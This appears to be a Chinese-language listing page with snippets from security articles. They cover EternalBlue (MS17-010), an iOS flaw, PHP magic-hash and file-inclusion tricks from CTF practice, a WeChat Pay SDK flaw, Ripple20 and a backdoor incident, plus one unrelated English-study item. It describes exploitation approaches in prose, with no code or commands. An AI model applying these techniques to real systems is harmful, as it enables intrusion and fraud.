    MS17-010原理簡介  永恆之藍漏洞是方程式組織在其漏洞利用框架中一個針對SMB服務進行攻擊的漏洞,該漏洞導致攻擊者在目標系統上可以執行任意代碼,事實上永恆之藍應用的不僅僅是一個漏洞,而是包含Windows SMB 遠程代碼執行漏洞CVE-2017-0143、CVE-2017-0144、CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE
  • 蘋果再現安全漏洞:超 5 億用戶或被黑客利用八...
    雷鋒網 4 月 23 日消息,據外媒報導,舊金山的網絡安全公司 ZecOps 發現了一個存在於 iOS 設備上的漏洞,而且有證據表明,至少有 6 次網絡安全入侵活動利用了這個漏洞。可怕的是,該漏洞或影響 iOS6 以上所有版本,超過 5 億的用戶面臨被攻擊的風險,而這一漏洞可能被黑客利用了八年。
  • CTF中常見的PHP漏洞小結
    在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。md5()漏洞  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
  • 微信支付被曝存嚴重漏洞 網友曬利用漏洞消費截圖
    微信支付被曝漏洞:可能造成這些影響IT之家7月4日消息近日有網友在國外安全社區公布了微信支付官方SDK存在的嚴重漏洞,此漏洞可侵入商家伺服器,一旦攻擊者獲得商家的關鍵安全密鑰,就可以通過發送偽造信息來欺騙商家而無需付費購買任何東西。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    可以通過phpinfo查看session.save_path的值知道session的存儲後,總結常見的php-session默認存放位置是很有必要的,因為在很多時候伺服器都是按照默認設置來運行的,這個時候假如我們發現了一個沒有安全措施的session包含漏洞就可以嘗試利用默認的會話存放路徑去包含利用。
  • Ripple 20:Treck TCP/IP協議漏洞技術分析
    這種情況下,上述不一致現象實際上並不能利用。使用IP隧道為了使得分片在IP層被處理,並且可以到達脆弱代碼位置,我們使用IP隧道。tfIpIncomingPacket函數在處理內層IP數據包時,將之作為沒有分片的數據包進行處理,也就是說MF標誌位=0,此時將不會調用tfIpReassemblePacket函數進行處理。
  • 迪普科技:慧眼識漏洞之【後門漏洞】
    迪普科技:慧眼識漏洞之【後門漏洞】 2020年08月10日 18:05作者:網絡編輯:王動   後門漏洞利用的安全事件  2018年12月4日,某公安分局網警大隊接報案,某公司發現內部計算機被執行危險命令,疑似被遠程控制抓取帳號密碼等計算機數據並被回傳大量敏感信息。當地網警立即對該案立案偵查,通過溯源分析,鑑定結果是該後門文件具有控制計算機的功能,嫌疑人已通過該後門遠程控制下載運行腳本實現收集用戶個人信息。
  • 初中英語學習:英語入門常見的問題
    初中英語學習:英語入門常見的問題   作為英語入門學習者,你一定會有林林總總的困惑:怎麼練習語音,怎麼背單詞,學什麼樣的英語才最地道……這些問題你還在糾結嗎?   1.學英語一定要從音標開始嗎?